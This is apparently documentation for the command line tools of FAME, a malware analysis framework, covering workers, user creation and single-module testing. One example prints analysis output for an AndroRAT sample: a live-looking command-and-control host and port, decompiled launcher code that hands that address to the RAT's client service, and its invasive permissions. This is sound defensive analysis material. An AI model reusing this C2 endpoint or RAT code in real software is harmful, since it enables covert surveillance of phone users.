Command line tools¶

FAME comes with several command line tools to help you with different tasks. They should all be run with run.sh / run.cmd.

run.sh / run.cmd¶

FAME is managing its own virtualenv in order to function properly. In order to make sure that all command line tools are using this virtualenv, they should be launched with run.sh (on UNIX systems), or run.cmd (on Windows systems).

webserver.py¶

The web server does not have any option:

$ utils/run.sh webserver.py

worker.py¶

You can launch a worker by simply launching the script without arguments:

$ utils/run.sh worker.py

This script accepts some arguments:

$ utils/run.sh worker.py -h
[+] Using existing virtualenv.

usage: worker.py [-h] [-c CELERY_ARGS] [-r REFRESH_INTERVAL]
                 [queue [queue ...]]

Launches a FAME worker.

positional arguments:
  queue                 The task queues that this worker will handle.

optional arguments:
  -h, --help            show this help message and exit
  -c CELERY_ARGS, --celery_args CELERY_ARGS
                        Additional arguments for the celery worker.
  -r REFRESH_INTERVAL, --refresh_interval REFRESH_INTERVAL
                        Frequency at which the worker will check for updates.

queue: the name of a queue that this worker should handle. By default, the value is unix on UNIX systems and windows on Windows systems.
CELERY_ARGS: additional arguments to pass to celery. For example, you might want to run more modules concurrently:
```
$ utils/run.sh worker.py -c '--concurrency 10'
```
REFRESH_INTERVAL: the time (in seconds) between two verification for updates. When an update of modules is detected, the worker will automatically restart. The default value is 30.

single_module.py¶

In order to assist in processing modules’ development, FAME provides a little utility that enables anyone to test a processing module without having a full FAME instance running (no need for MongoDB, the webserver or a worker).

To use it, run the following command:

$ utils/run.sh utils/single_module.py <MODULE_NAME> <TARGET_FILE>

This tool will detail all module’s output in the console.

By default, this tool will try to find MODULE_NAME using FAME’s standard process, by connecting to the MongoDB instance and fetching the module as well as its current configuration. If it cannot connect to MongoDB or if the requested module is not enabled, the tool will enable “test mode”. This mode is directly locating the module using the files on disk, and loading its configuration using default values or asking the user.

Here is the full usage of this tool:

$ utils/run.sh utils/single_module.py -h
[+] Using existing virtualenv.

usage: single_module.py [-h] [-i] [-t] [-l] module file [type]

Launches a single FAME module.

positional arguments:
  module             The name of the module to run.
  file               The file to analyze.
  type               The FAME type to use for this file.

optional arguments:
  -h, --help         show this help message and exit
  -i, --interactive  Ask the user for every configuration option. Without this
                     option, it will use default values when provided. Only
                     used in test mode.
  -t, --test         Enable test mode. This mode does not require connection
                     to the database. It is automatically enabled when a
                     connection is not available or the module is disabled.
  -l, --local        IsolatedProcessingModule will be directly executed on the
                     local system, bypassing the use of virtualization. THIS
                     MIGHT BE DANGEROUS AND INFECT YOUR SYSTEM, ONLY USE IF
                     YOU KNOW WHAT YOU ARE DOING!

Example of using this script to test the apk module:

$ utils/run.sh utils/single_module.py apk /tmp/androrat.apk
[+] Using existing virtualenv.

Result: True

Probable Names: AndroRAT

## Extracted Files

## IOCs

boss-dz.zapto.org:1111 (c2, androdat)

## Extractions

-- AndroRAT Configuration --

{
  "c2": "boss-dz.zapto.org:1111"
}

## Generated Files

## Support Files

## Logs

2017-03-07 23:58: warning: apk: z3core: missing dependency: elftools
## Detailed results

{'main_activity': u'my.app.client.LauncherActivity', 'name': u'Ashox', 'main_activity_content': 'package my.app.client;\npublic class LauncherActivity extends android.app.Activity {\n    android.content.Intent Client;\n    android.content.Intent ClientAlt;\n    android.widget.Button btnStart;\n    android.widget.Button btnStop;\n    android.widget.EditText ipfield;\n    String myIp;\n    int myPort;\n    android.widget.EditText portfield;\n\n    public LauncherActivity()\n    {\n        this.myIp = "boss-dz.zapto.org";\n        this.myPort = 1111;\n        return;\n    }\n\n    public void onCreate(android.os.Bundle p4)\n    {\n        super.onCreate(p4);\n        this.setContentView(2130903040);\n        this.Client = new android.content.Intent(this, my.app.client.Client);\n        this.Client.setAction(my.app.client.LauncherActivity.getName());\n        this.btnStart = ((android.widget.Button) this.findViewById(2131099650));\n        this.btnStop = ((android.widget.Button) this.findViewById(2131099651));\n        this.ipfield = ((android.widget.EditText) this.findViewById(2131099648));\n        this.portfield = ((android.widget.EditText) this.findViewById(2131099649));\n        if (this.myIp != "") {\n            this.ipfield.setText(this.myIp);\n            this.portfield.setText(String.valueOf(this.myPort));\n            this.Client.putExtra("IP", this.myIp);\n            this.Client.putExtra("PORT", this.myPort);\n        } else {\n            this.ipfield.setText("boss-dz.zapto.org");\n            this.portfield.setText("1111");\n            this.Client.putExtra("IP", this.ipfield.getText().toString());\n            this.Client.putExtra("PORT", Integer.parseInt(this.portfield.getText().toString()));\n        }\n        this.startService(this.Client);\n        this.btnStart.setEnabled(0);\n        this.btnStop.setEnabled(1);\n        return;\n    }\n\n    public void onResume()\n    {\n        super.onResume();\n        this.setContentView(2130903040);\n        this.Client = new android.content.Intent(this, my.app.client.Client);\n        this.Client.setAction(my.app.client.LauncherActivity.getName());\n        this.btnStart = ((android.widget.Button) this.findViewById(2131099650));\n        this.btnStop = ((android.widget.Button) this.findViewById(2131099651));\n        this.ipfield = ((android.widget.EditText) this.findViewById(2131099648));\n        this.portfield = ((android.widget.EditText) this.findViewById(2131099649));\n        if (this.myIp != "") {\n            this.ipfield.setText(this.myIp);\n            this.portfield.setText(String.valueOf(this.myPort));\n            this.Client.putExtra("IP", this.myIp);\n            this.Client.putExtra("PORT", this.myPort);\n        } else {\n            this.ipfield.setText("boss-dz.zapto.org");\n            this.portfield.setText("1111");\n            this.Client.putExtra("IP", this.ipfield.getText().toString());\n            this.Client.putExtra("PORT", Integer.parseInt(this.portfield.getText().toString()));\n        }\n        this.startService(this.Client);\n        this.btnStart.setEnabled(0);\n        this.btnStop.setEnabled(1);\n        return;\n    }\n\n    public void onStart()\n    {\n        super.onStart();\n        this.onResume();\n        return;\n    }\n}\n', 'receivers': ['my.app.client.BootReceiver', 'my.app.client.AlarmListener'], 'package': u'my.app.client', 'services': ['my.app.client.Client'], 'permissions': ['android.permission.RECEIVE_SMS', 'android.permission.READ_SMS', 'android.permission.SEND_SMS', 'android.permission.READ_PHONE_STATE', 'android.permission.PROCESS_OUTGOING_CALLS', 'android.permission.ACCESS_NETWORK_STATE', 'android.permission.ACCESS_FINE_LOCATION', 'android.permission.INTERNET', 'android.permission.RECORD_AUDIO', 'android.permission.WRITE_EXTERNAL_STORAGE', 'android.permission.CAMERA', 'android.permission.RECEIVE_BOOT_COMPLETED', 'android.permission.CALL_PHONE', 'android.permission.READ_CONTACTS', 'android.permission.VIBRATE']}

create_user.py¶

Warning

The recommended way of creating users is to use the web interface.

This utility can be used to create a user account when using the user_password authentication module (the one used by default).

Simply execute it and answer the questions:

$ utils/run.sh utils/create_user.py
Full Name: John Doe
Email Address: john.doe@email.com
Groups (comma-separated): cert
Default Sharing Groups (comma-separated): cert
Permissions (comma-separated): submit_iocs,access_joe
Password:
Confirm:
User created.
Downloaded avatar.

Some fields require more explanation:

Groups: comma-separated list of groups the user belongs to. There is no need for the groups to be created first.
Default Sharing Groups: comma-separated list of groups with which this user’s submission will be shared by default. The user will have the possibility of changing this setting globally and on a per-analysis basis.
Permissions: comma-separated list of permissions the user has.